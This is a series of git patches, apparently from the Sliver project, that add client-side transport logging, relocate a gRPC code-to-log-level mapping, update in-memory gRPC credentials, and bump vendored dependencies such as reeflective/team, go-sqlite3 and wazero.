*carapace.ActionMap) { (*comp)["enable-target"] = builderFormatsCompleter() (*comp)["disable-target"] = builderFormatsCompleter() (*comp)["config"] = commands.ConfigsAppCompleter(con.Teamclient, "detected Sliver configs") From 3415cce1ec418a7a32509dee29d057f9194391d9 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 17 Aug 2023 09:23:38 +0200 Subject: [PATCH 088/124] Fixes to logging --- client/console/console.go | 1 + client/console/log.go | 26 ++++++++++++++++++ client/transport/middleware.go | 49 ++++++++++++++++++++++++++++++++-- server/transport/server.go | 4 ++- vendor/modules.txt | 1 - 5 files changed, 77 insertions(+), 4 deletions(-) diff --git a/client/console/console.go b/client/console/console.go index b1a6fa1de5..2ddb4be033 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -159,6 +159,7 @@ func NewSliverClient(opts ...grpc.DialOption) (con *SliverClient, err error) { clientOpts = append(clientOpts, client.WithHomeDirectory(assets.GetRootAppDir()), client.WithDialer(con.dialer), + client.WithLogger(initTeamclientLog()), ) // Create a new reeflective/team.Client, which is in charge of selecting, diff --git a/client/console/log.go b/client/console/log.go index 8779241b3d..f967fcddc0 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -29,6 +29,7 @@ import ( "time" "github.com/moloch--/asciicast" + "github.com/sirupsen/logrus" "golang.org/x/exp/slog" "golang.org/x/term" @@ -197,6 +198,31 @@ func getConsoleAsciicastFile() *os.File { return logFile } +// initTeamclientLog returns a logrus logger to be passed to the Sliver +// team.Client for logging all client-side transport/RPC events. +func initTeamclientLog() (*logrus.Logger) { + logsDir := assets.GetConsoleLogsDir() + dateTime := time.Now().Format("2006-01-02_15-04-05") + logPath := filepath.Join(logsDir, fmt.Sprintf("%s.log", dateTime)) + + textLogger := logrus.New() + textLogger.SetFormatter(&logrus.TextFormatter{}) + + logFile, err := os.OpenFile(logPath, os.O_APPEND | os.O_CREATE | os.O_WRONLY, 0644) + if err != nil { + log.Fatalf("Failed to open log file %s", err) + return textLogger + } + + // Text-format logger, writing to file. + textLogger.Out = logFile + + textLogger.SetLevel(logrus.InfoLevel) + textLogger.SetReportCaller(true) + + return textLogger +} + // // -------------------------- [ Logging ] ----------------------------- // diff --git a/client/transport/middleware.go b/client/transport/middleware.go index 6ff8d3ab8a..135b95b349 100644 --- a/client/transport/middleware.go +++ b/client/transport/middleware.go @@ -26,8 +26,9 @@ import ( grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" "github.com/reeflective/team/client" - "github.com/reeflective/team/transports/grpc/common" + "github.com/sirupsen/logrus" "google.golang.org/grpc" + "google.golang.org/grpc/codes" "google.golang.org/grpc/credentials" ) @@ -57,7 +58,7 @@ type TokenAuth string func LogMiddlewareOptions(cli *client.Client) []grpc.DialOption { logrusEntry := cli.NamedLogger("transport", "grpc") logrusOpts := []grpc_logrus.Option{ - grpc_logrus.WithLevels(common.CodeToLevel), + grpc_logrus.WithLevels(codeToLevel), } grpc_logrus.ReplaceGrpcLogger(logrusEntry) @@ -84,6 +85,8 @@ func LogMiddlewareOptions(cli *client.Client) []grpc.DialOption { return options } +// TLSAuthMiddleware returns the TLS credentials and token authentication options +// built from a given team.Client and its active (target) remote server configuration. func TLSAuthMiddleware(cli *client.Client) ([]grpc.DialOption, error) { config := cli.Config() if config.PrivateKey == "" { @@ -115,3 +118,45 @@ func (t TokenAuth) GetRequestMetadata(_ context.Context, _ ...string) (map[strin func (TokenAuth) RequireTransportSecurity() bool { return true } + +// Maps a grpc response code to a logging level +func codeToLevel(code codes.Code) logrus.Level { + switch code { + case codes.OK: + return logrus.InfoLevel + case codes.Canceled: + return logrus.InfoLevel + case codes.Unknown: + return logrus.ErrorLevel + case codes.InvalidArgument: + return logrus.InfoLevel + case codes.DeadlineExceeded: + return logrus.WarnLevel + case codes.NotFound: + return logrus.InfoLevel + case codes.AlreadyExists: + return logrus.InfoLevel + case codes.PermissionDenied: + return logrus.WarnLevel + case codes.Unauthenticated: + return logrus.InfoLevel + case codes.ResourceExhausted: + return logrus.WarnLevel + case codes.FailedPrecondition: + return logrus.WarnLevel + case codes.Aborted: + return logrus.WarnLevel + case codes.OutOfRange: + return logrus.WarnLevel + case codes.Unimplemented: + return logrus.ErrorLevel + case codes.Internal: + return logrus.ErrorLevel + case codes.Unavailable: + return logrus.WarnLevel + case codes.DataLoss: + return logrus.ErrorLevel + default: + return logrus.ErrorLevel + } +} diff --git a/server/transport/server.go b/server/transport/server.go index 4ae54e25ac..5d1f5b5834 100644 --- a/server/transport/server.go +++ b/server/transport/server.go @@ -24,6 +24,7 @@ import ( "runtime/debug" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/test/bufconn" "github.com/reeflective/team/server" @@ -88,6 +89,7 @@ func NewTeamserver() (team *server.Server, clientOpts []grpc.DialOption, err err // It returns a teamclient meant to be ran in memory, with TLS credentials disabled. func clientOptionsFor(server *teamserver, opts ...grpc.DialOption) []grpc.DialOption { conn := bufconn.Listen(bufSize) + insecureCreds := insecure.NewCredentials() ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { return conn.Dial() @@ -95,7 +97,7 @@ func clientOptionsFor(server *teamserver, opts ...grpc.DialOption) []grpc.DialOp opts = append(opts, []grpc.DialOption{ ctxDialer, - grpc.WithInsecure(), + grpc.WithTransportCredentials(insecureCreds), }...) // The server will use this conn as a listener. diff --git a/vendor/modules.txt b/vendor/modules.txt index ec029eee00..968b6a048b 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -549,7 +549,6 @@ github.com/reeflective/team/internal/systemd github.com/reeflective/team/internal/version github.com/reeflective/team/server github.com/reeflective/team/server/commands -github.com/reeflective/team/transports/grpc/common # github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec ## explicit; go 1.12 github.com/remyoudompheng/bigfft From c0810eeb476789639fc2780a3a09078b95cb1b9e Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 01:57:21 +0200 Subject: [PATCH 089/124] Update team dependency with first release --- go.mod | 12 ++-- go.sum | 6 ++ server/transport/tailscale.go | 4 +- .../github.com/reeflective/team/.golangci.yml | 11 +++- .../reeflective/team/client/client.go | 28 +++++++- .../team/client/commands/version.go | 26 ++++---- .../team/server/commands/teamserver.go | 14 +++- .../team/transports/grpc/common/log.go | 66 ------------------- 8 files changed, 74 insertions(+), 93 deletions(-) delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/common/log.go diff --git a/go.mod b/go.mod index 1a2907bf99..e59cb2a1e4 100644 --- a/go.mod +++ b/go.mod @@ -8,7 +8,7 @@ go 1.21 replace github.com/rsteube/carapace v0.43.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d // Team is the teamserver/teamclient library, and this directive should be removed. -replace github.com/reeflective/team => /home/user/code/github.com/reeflective/team +// replace github.com/reeflective/team => /home/user/code/github.com/reeflective/team require ( filippo.io/age v1.1.1 @@ -37,25 +37,25 @@ require ( github.com/miekg/dns v1.1.55 github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 - github.com/ncruces/go-sqlite3 v0.8.1 + github.com/ncruces/go-sqlite3 v0.8.4 github.com/reeflective/console v0.1.7 github.com/reeflective/readline v1.0.9 - github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187 + github.com/reeflective/team v0.1.0 github.com/rsteube/carapace v0.43.0 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.7.0 github.com/spf13/pflag v1.0.5 github.com/stretchr/testify v1.8.2 - github.com/tetratelabs/wazero v1.2.1 + github.com/tetratelabs/wazero v1.4.0 github.com/things-go/go-socks5 v0.0.3 github.com/xlab/treeprint v1.2.0 github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e golang.org/x/crypto v0.10.0 golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 golang.org/x/net v0.11.0 - golang.org/x/sys v0.9.0 + golang.org/x/sys v0.11.0 golang.org/x/term v0.9.0 - golang.org/x/text v0.10.0 + golang.org/x/text v0.12.0 golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24 golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68 google.golang.org/grpc v1.56.1 diff --git a/go.sum b/go.sum index db479f293f..d2748b1c9a 100644 --- a/go.sum +++ b/go.sum @@ -320,6 +320,7 @@ github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o= github.com/ncruces/go-sqlite3 v0.8.1 h1:e1Y7uHu96xC4fWKsCVWprbTi8vAaQX9R+8kgkxOHWaY= github.com/ncruces/go-sqlite3 v0.8.1/go.mod h1:EhHe1qvG6Zc/8ffYMzre8n//rTRs1YNN5dUD1f1mEGc= +github.com/ncruces/go-sqlite3 v0.8.4/go.mod h1:XvDtjKk5MgwHX7L4I7BPzzKl36bTZ7+Hr6Kr2QeVkVw= github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk= github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= @@ -345,6 +346,8 @@ github.com/reeflective/console v0.1.7 h1:nCuWfWv5x6B9T1XSko/2LdFQSftiwnE+NpNvKDF github.com/reeflective/console v0.1.7/go.mod h1:hnei2839LkOh6N4m2rTx2Vx3QAVkF9X74BG7MKbIljs= github.com/reeflective/readline v1.0.9 h1:ZA+V4HIWonwn8B4gUaaKwPtBogch19qgdk1I+hqULdk= github.com/reeflective/readline v1.0.9/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= +github.com/reeflective/team v0.1.0 h1:QsByDuinPxSir2KH1/tCFyQ3W1z/YBX9Y4SwVbU1hK0= +github.com/reeflective/team v0.1.0/go.mod h1:vl9Qz2nXOy+iOHIQPm15Dno3NXn6LO8+7M3bKTaKIC8= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= @@ -391,6 +394,7 @@ github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ0 github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8= github.com/tetratelabs/wazero v1.2.1 h1:J4X2hrGzJvt+wqltuvcSjHQ7ujQxA9gb6PeMs4qlUWs= github.com/tetratelabs/wazero v1.2.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ= +github.com/tetratelabs/wazero v1.4.0/go.mod h1:0U0G41+ochRKoPKCJlh0jMg1CHkyfK8kDqiirMmKY8A= github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0= github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs= github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI= @@ -515,6 +519,7 @@ golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepC golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s= golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.9.0 h1:GRRCnKYhdQrD8kfRAdQ6Zcw1P0OcELxGLKJvtjVMZ28= @@ -527,6 +532,7 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.10.0 h1:UpjohKhiEgNc0CSauXmwYftY1+LlaC75SJwh0SgCX58= golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= diff --git a/server/transport/tailscale.go b/server/transport/tailscale.go index 412aba7873..3d239beaf2 100644 --- a/server/transport/tailscale.go +++ b/server/transport/tailscale.go @@ -73,7 +73,7 @@ func (ts *tailscaleTeamserver) Listen(addr string) (ln net.Listener, err error) } } - tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%d", hostname, port) + tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%s", hostname, port) authKey := os.Getenv("TS_AUTHKEY") if authKey == "" { @@ -93,7 +93,7 @@ func (ts *tailscaleTeamserver) Listen(addr string) (ln net.Listener, err error) AuthKey: authKey, } - ln, err = tsNetServer.Listen("tcp", fmt.Sprintf(":%d", port)) + ln, err = tsNetServer.Listen("tcp", fmt.Sprintf(":%s", port)) if err != nil { return nil, err } diff --git a/vendor/github.com/reeflective/team/.golangci.yml b/vendor/github.com/reeflective/team/.golangci.yml index 5389185b52..b27a7fdc0e 100644 --- a/vendor/github.com/reeflective/team/.golangci.yml +++ b/vendor/github.com/reeflective/team/.golangci.yml @@ -183,10 +183,10 @@ linters: - godot # checks if comments end in a period (style,cmt) - godox # tool for detection of FIXME, TODO and other comments (style,cmt) - goerr113 # checks the errors handling expressions (style,err) - - gofmt # formats and checks for code simplification (fmt) - - gofumpt # checks whether code was gofumpt-ed (fmt) + # - gofmt # formats and checks for code simplification (fmt) + # - gofumpt # checks whether code was gofumpt-ed (fmt) - goheader # checks if file header matches to pattern (style) - # - goimports # fixes imports, formats code same as gofmt (fmt,import) + #- goimports # fixes imports, formats code same as gofmt (fmt,import) # - golint # Deprecated - gomnd # analyzer to detect magic numbers (style) - gomoddirectives # manage replace/retract/excludes directives in go.mod (style,mod) @@ -280,6 +280,8 @@ linters: - musttag - wrapcheck # checks errors returned from external packages are wrapped (style,err) - tagliatelle # checks struct tags (style) + - gofmt # formats and checks for code simplification (fmt) + - gofumpt # checks whether code was gofumpt-ed (fmt) # Run only fast linters from enabled linters set (first run won't be fast) # Default: false @@ -337,6 +339,9 @@ linters-settings: paralleltest: ignore-missing: true + goimports: + local-prefixes: github.com/reeflective/team + # # ----------------------- Other exclusions & Issues management -------------------------- # # diff --git a/vendor/github.com/reeflective/team/client/client.go b/vendor/github.com/reeflective/team/client/client.go index ccfcb363d8..9c9e77632c 100644 --- a/vendor/github.com/reeflective/team/client/client.go +++ b/vendor/github.com/reeflective/team/client/client.go @@ -21,10 +21,12 @@ package client import ( "os/user" "path/filepath" + "runtime" "sync" "github.com/reeflective/team" "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/version" "github.com/sirupsen/logrus" ) @@ -230,11 +232,31 @@ func (tc *Client) Users() (users []team.User, err error) { // This function satisfies the VersionClient() function of the team.Client interface, // which means that library users are free to reimplement it however they wish. func (tc *Client) VersionClient() (ver team.Version, err error) { - if tc.client == nil { - return ver, ErrNoTeamclient + if tc.client != nil { + return tc.client.VersionClient() + } + + semVer := version.Semantic() + compiled, _ := version.Compiled() + + var major, minor, patch int32 + + if len(semVer) == 3 { + major = int32(semVer[0]) + minor = int32(semVer[1]) + patch = int32(semVer[2]) } - return tc.client.VersionClient() + return team.Version{ + Major: major, + Minor: minor, + Patch: patch, + Commit: version.GitCommit(), + Dirty: version.GitDirty(), + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil } // VersionServer returns the version information of the server to which diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go index ec2bcca863..975c0d96c2 100644 --- a/vendor/github.com/reeflective/team/client/commands/version.go +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -20,6 +20,7 @@ package commands import ( "fmt" + "time" "github.com/reeflective/team/client" "github.com/reeflective/team/internal/command" @@ -46,13 +47,14 @@ func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) erro fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err) } - dirty := "" - if serverVer.Dirty { - dirty = fmt.Sprintf(" - %sDirty%s", command.Bold, command.Normal) - } + serverVerInfo := fmt.Sprintf("Server v%d.%d.%d - %s - %s/%s\n", + serverVer.Major, serverVer.Minor, serverVer.Patch, serverVer.Commit, + serverVer.OS, serverVer.Arch) + serverCompiledAt := time.Unix(serverVer.CompiledAt, 0) - serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) - fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Server v%s - %s%s\n", serverSemVer, serverVer.Commit, dirty) + fmt.Fprint(cmd.OutOrStdout(), command.Info+serverVerInfo) + fmt.Fprintf(cmd.OutOrStdout(), " Compiled at %s\n", serverCompiledAt) + fmt.Fprintln(cmd.OutOrStdout()) // Client clientVer, err := cli.VersionClient() @@ -61,13 +63,13 @@ func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) erro return nil } - cdirty := "" - if clientVer.Dirty { - cdirty = fmt.Sprintf(" - %sDirty%s", command.Bold, command.Normal) - } + clientVerInfo := fmt.Sprintf("Client v%d.%d.%d - %s - %s/%s\n", + clientVer.Major, clientVer.Minor, clientVer.Patch, clientVer.Commit, + clientVer.OS, clientVer.Arch) + clientCompiledAt := time.Unix(clientVer.CompiledAt, 0) - cliSemVer := fmt.Sprintf("%d.%d.%d", clientVer.Major, clientVer.Minor, clientVer.Patch) - fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Client v%s - %s%s\n", cliSemVer, clientVer.Commit, cdirty) + fmt.Fprint(cmd.OutOrStdout(), command.Info+clientVerInfo) + fmt.Fprintf(cmd.OutOrStdout(), " Compiled at %s\n", clientCompiledAt) return nil } diff --git a/vendor/github.com/reeflective/team/server/commands/teamserver.go b/vendor/github.com/reeflective/team/server/commands/teamserver.go index f5fe3f288e..4a3fff0b76 100644 --- a/vendor/github.com/reeflective/team/server/commands/teamserver.go +++ b/vendor/github.com/reeflective/team/server/commands/teamserver.go @@ -62,6 +62,17 @@ func daemoncmd(serv *server.Server) func(cmd *cobra.Command, args []string) erro } }() + // cli args take precedence over config (this is here for status printing purposes) + if lhost == "" { + lhost = serv.GetConfig().DaemonMode.Host + } + + if lport == 0 { + lport = uint16(serv.GetConfig().DaemonMode.Port) + } + + fmt.Fprintf(cmd.OutOrStdout(), "Starting %s teamserver daemon on %s:%d ...", serv.Name(), lhost, lport) + // Blocking call, your program will only exit/resume on Ctrl-C/SIGTERM return serv.ServeDaemon(lhost, lport) } @@ -214,6 +225,7 @@ func statusCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { cfg := serv.GetConfig() dbCfg := serv.DatabaseConfig() + database := fmt.Sprintf("%s - %s [%s:%d] ", dbCfg.Dialect, dbCfg.Database, dbCfg.Host, dbCfg.Port) // General options, in-memory, default port, config path, database, etc @@ -230,7 +242,7 @@ func statusCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { fmt.Fprintln(cmd.OutOrStdout(), formatSection("Logging")) fmt.Fprint(cmd.OutOrStdout(), displayGroup([]string{ - "Level", fakeLog.Level.String(), + "Level", fakeLog.Logger.Level.String(), "Root", log.FileName(filepath.Join(serv.LogsDir(), serv.Name()), true), "Audit", filepath.Join(serv.LogsDir(), "audit.json"), })) diff --git a/vendor/github.com/reeflective/team/transports/grpc/common/log.go b/vendor/github.com/reeflective/team/transports/grpc/common/log.go deleted file mode 100644 index 476805ca89..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/common/log.go +++ /dev/null @@ -1,66 +0,0 @@ -package common - -/* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "github.com/sirupsen/logrus" - "google.golang.org/grpc/codes" -) - -// Maps a grpc response code to a logging level. -func CodeToLevel(code codes.Code) logrus.Level { - switch code { - case codes.OK: - return logrus.DebugLevel - case codes.Canceled: - return logrus.DebugLevel - case codes.Unknown: - return logrus.ErrorLevel - case codes.InvalidArgument: - return logrus.WarnLevel - case codes.DeadlineExceeded: - return logrus.WarnLevel - case codes.NotFound: - return logrus.DebugLevel - case codes.AlreadyExists: - return logrus.DebugLevel - case codes.PermissionDenied: - return logrus.WarnLevel - case codes.Unauthenticated: - return logrus.WarnLevel - case codes.ResourceExhausted: - return logrus.WarnLevel - case codes.FailedPrecondition: - return logrus.WarnLevel - case codes.Aborted: - return logrus.WarnLevel - case codes.OutOfRange: - return logrus.WarnLevel - case codes.Unimplemented: - return logrus.ErrorLevel - case codes.Internal: - return logrus.ErrorLevel - case codes.Unavailable: - return logrus.WarnLevel - case codes.DataLoss: - return logrus.ErrorLevel - default: - return logrus.ErrorLevel - } -} From 90760ecf634787fff7e752051d0d3f0e86c5532c Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 01:57:53 +0200 Subject: [PATCH 090/124] Update vendor dependencies --- go.mod | 1 + go.sum | 14 +- .../github.com/ncruces/go-sqlite3/README.md | 11 +- .../github.com/ncruces/go-sqlite3/backup.go | 2 +- vendor/github.com/ncruces/go-sqlite3/conn.go | 18 +- vendor/github.com/ncruces/go-sqlite3/const.go | 20 +- .../github.com/ncruces/go-sqlite3/context.go | 174 + .../ncruces/go-sqlite3/driver/driver.go | 31 +- .../ncruces/go-sqlite3/embed/README.md | 1 + .../ncruces/go-sqlite3/embed/build.sh | 2 +- .../ncruces/go-sqlite3/embed/exports.txt | 29 +- .../ncruces/go-sqlite3/embed/sqlite3.wasm | Bin 1427169 -> 1432950 bytes vendor/github.com/ncruces/go-sqlite3/error.go | 22 + vendor/github.com/ncruces/go-sqlite3/func.go | 186 + vendor/github.com/ncruces/go-sqlite3/go.work | 2 +- .../github.com/ncruces/go-sqlite3/go.work.sum | 4 + .../ncruces/go-sqlite3/gormlite/LICENSE | 22 + .../ncruces/go-sqlite3/gormlite/README.md | 26 + .../ncruces/go-sqlite3/gormlite/ddlmod.go | 231 + .../ncruces/go-sqlite3/gormlite/download.sh | 11 + .../go-sqlite3/gormlite/error_translator.go | 21 + .../ncruces/go-sqlite3/gormlite/migrator.go | 431 + .../ncruces/go-sqlite3/gormlite/sqlite.go | 219 + .../ncruces/go-sqlite3/gormlite/test.sh | 24 + .../ncruces/go-sqlite3/gormlite/tests.patch | 31 + .../ncruces/go-sqlite3/internal/util/func.go | 26 + .../go-sqlite3/internal/util/handle.go | 75 + .../go-sqlite3/{module.go => sqlite.go} | 204 +- vendor/github.com/ncruces/go-sqlite3/stmt.go | 27 +- vendor/github.com/ncruces/go-sqlite3/value.go | 125 + .../github.com/ncruces/go-sqlite3/vfs/api.go | 2 +- .../ncruces/go-sqlite3/vfs/clear.go | 9 + .../github.com/ncruces/go-sqlite3/vfs/vfs.go | 67 +- vendor/github.com/reeflective/team/LICENSE | 674 ++ vendor/github.com/reeflective/team/README.md | 283 +- .../reeflective/team/client/client.go | 28 +- .../team/client/commands/commands.go | 85 +- .../team/client/commands/import.go | 5 +- .../reeflective/team/client/commands/users.go | 5 +- .../team/client/commands/version.go | 5 +- .../reeflective/team/client/config.go | 6 +- .../reeflective/team/client/directories.go | 11 +- .../reeflective/team/client/options.go | 3 + .../reeflective/team/internal/assets/fs.go | 24 +- .../reeflective/team/internal/certs/ca.go | 6 +- .../reeflective/team/internal/certs/certs.go | 7 +- .../reeflective/team/internal/certs/tls.go | 5 +- .../team/internal/command/command.go | 22 +- .../reeflective/team/internal/db/sql-cgo.go | 6 +- .../reeflective/team/internal/db/sql-go.go | 6 +- .../reeflective/team/internal/db/sql-wasm.go | 3 + .../reeflective/team/internal/db/sql.go | 11 +- .../reeflective/team/internal/log/cli.go | 38 +- .../reeflective/team/internal/log/log.go | 19 +- .../reeflective/team/internal/log/perms.go | 2 +- .../team/internal/systemd/config.go | 2 + .../team/internal/version/.gitignore | 1 - .../internal/version/teamserver_version_info | 14 - .../team/internal/version/version.go | 2 +- .../team/server/commands/commands.go | 7 +- .../team/server/commands/completers.go | 3 +- .../team/server/commands/teamserver.go | 5 +- .../reeflective/team/server/commands/user.go | 14 +- .../reeflective/team/server/config.go | 23 +- .../reeflective/team/server/core.go | 4 +- .../github.com/reeflective/team/server/db.go | 20 +- .../reeflective/team/server/directories.go | 24 +- .../reeflective/team/server/jobs.go | 4 +- .../reeflective/team/server/server.go | 11 +- .../reeflective/team/server/users.go | 6 +- vendor/github.com/tetratelabs/wazero/Makefile | 18 +- .../tetratelabs/wazero/RATIONALE.md | 593 +- .../github.com/tetratelabs/wazero/api/wasm.go | 19 + .../github.com/tetratelabs/wazero/config.go | 26 +- .../tetratelabs/wazero/experimental/close.go | 63 + .../wazero/experimental/sys/dir.go | 92 + .../wazero/experimental/sys/errno.go | 95 + .../platform => experimental/sys}/error.go | 27 +- .../wazero/experimental/sys/file.go | 317 + .../tetratelabs/wazero/experimental/sys/fs.go | 293 + .../wazero/experimental/sys/oflag.go | 70 + .../wazero/experimental/sys/syscall_errno.go | 104 + .../sys/syscall_errno_notwindows.go | 13 + .../experimental/sys/syscall_errno_plan9.go | 5 + .../experimental/sys/syscall_errno_windows.go | 62 + .../wazero/experimental/sys/time.go | 10 + .../wazero/experimental/sys/unimplemented.go | 160 + .../github.com/tetratelabs/wazero/fsconfig.go | 56 +- .../imports/wasi_snapshot_preview1/args.go | 14 +- .../imports/wasi_snapshot_preview1/clock.go | 26 +- .../imports/wasi_snapshot_preview1/environ.go | 14 +- .../imports/wasi_snapshot_preview1/fs.go | 621 +- .../imports/wasi_snapshot_preview1/poll.go | 166 +- .../imports/wasi_snapshot_preview1/random.go | 12 +- .../imports/wasi_snapshot_preview1/sched.go | 4 +- .../imports/wasi_snapshot_preview1/sock.go | 41 +- .../testdata/gotip/wasi.go | 237 +- .../testdata/tinygo/wasi.go | 88 + .../testdata/tinygo/wasi.wasm | Bin 0 -> 109235 bytes .../imports/wasi_snapshot_preview1/wasi.go | 10 +- .../wazero/internal/close/close.go | 13 + .../wazero/internal/engine/compiler/engine.go | 57 +- .../internal/engine/compiler/engine_cache.go | 9 +- .../internal/engine/compiler/impl_amd64.go | 7 +- .../internal/engine/compiler/impl_arm64.go | 34 +- .../wazero/internal/fsapi/constants.go | 13 - .../wazero/internal/fsapi/constants_js.go | 8 - .../wazero/internal/fsapi/constants_sun.go | 12 - .../internal/fsapi/constants_windows.go | 24 - .../tetratelabs/wazero/internal/fsapi/dir.go | 99 - .../tetratelabs/wazero/internal/fsapi/file.go | 373 +- .../tetratelabs/wazero/internal/fsapi/fs.go | 365 - .../tetratelabs/wazero/internal/fsapi/poll.go | 20 + .../tetratelabs/wazero/internal/fsapi/stat.go | 48 - .../wazero/internal/fsapi/unimplemented.go | 204 +- .../wazero/internal/platform/errno.go | 9 - .../wazero/internal/platform/errno_windows.go | 72 - .../wazero/internal/platform/fdset.go | 23 - .../wazero/internal/platform/fdset_darwin.go | 8 - .../wazero/internal/platform/fdset_linux.go | 8 - .../internal/platform/fdset_unsupported.go | 10 - .../wazero/internal/platform/mmap_other.go | 2 +- .../wazero/internal/platform/platform.go | 11 +- .../tetratelabs/wazero/internal/sock/sock.go | 15 +- .../wazero/internal/sock/sock_supported.go | 11 + .../wazero/internal/sock/sock_unsupported.go | 10 + .../tetratelabs/wazero/internal/sys/fs.go | 572 +- 